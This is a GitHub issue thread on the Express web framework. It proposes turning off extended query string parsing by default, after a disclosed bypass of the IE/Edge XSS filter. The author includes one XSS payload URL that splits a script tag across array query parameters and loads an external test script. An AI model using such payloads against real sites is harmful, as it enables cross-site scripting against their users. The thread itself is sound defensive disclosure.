Skip to content

Consider disabling extended query string parsing by default #3361

Closed

Description

@randomdross

I created a simple browser-based XSS filter test app here:
http://xss.untrusted.com/xss?id=aaa&id=bbb
This is page is simple enough that pretty much any filter bypass bug present here would be legitimate. That is, the identified bypass condition would have to be in-scope as an issue for the filter to defend against.

Masato Kinugawa was able to bypass the IE / Edge XSS filter using the following trick:
http://xss.untrusted.com/xss?id[0]=%3Cscript/&id[1]=/src=//html5sec.org/test.js%3E%3C/script%3E
This relies on the extended query string parsing that is enabled by default in express.

I was able to fix my test app by manually disabling the extended query string parsing:
app.set('query parser', 'simple');

While it's certainly not the responsibility of express to make the IE / Edge XSS Filter's job any easier, disabling the extended query parsing by default would be one way to solve this issue for the filter.

Adam Baldwin alerted me to this issue and FWIW he is also in favor of changing the default query parser to 'simple': https://twitter.com/adam_baldwin/status/884633562292428800

Disclosure: Though I'm currently employed by Google, in a previous life I worked at Microsoft developing the IE / Edge XSS Filter.

Activity

  1. dougwilson commented on Jul 11, 2017

    @dougwilson
    Contributor

    Yes, the plan is to disable by default in Express 5.0. You can view the 5.0 plan here: #2237

    Make query parser option default to 'simple'

    I hope this helps! I even updated the plan to reference this issues in the check list for that entry, since there wasn't a specific issue before that I recall, just discussions.

  2. randomdross commented on Jul 11, 2017

    @randomdross
    Author

    Oh that's awesome! Thank you Doug!

  3. dougwilson commented on Jul 11, 2017

    @dougwilson
    Contributor

    And the body-parser module has the same thing, which is also being defaulted off in it's 2.0 release.

  4. added a commit that references this issue on Dec 18, 2021
    7bca273
  5. dougwilson commented on Dec 18, 2021

    @dougwilson
    Contributor

    Everything has now been updated to default to the simple parser in the current 5.0 branch 👍

  6. added a commit that references this issue on Feb 5, 2022
    450c468
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions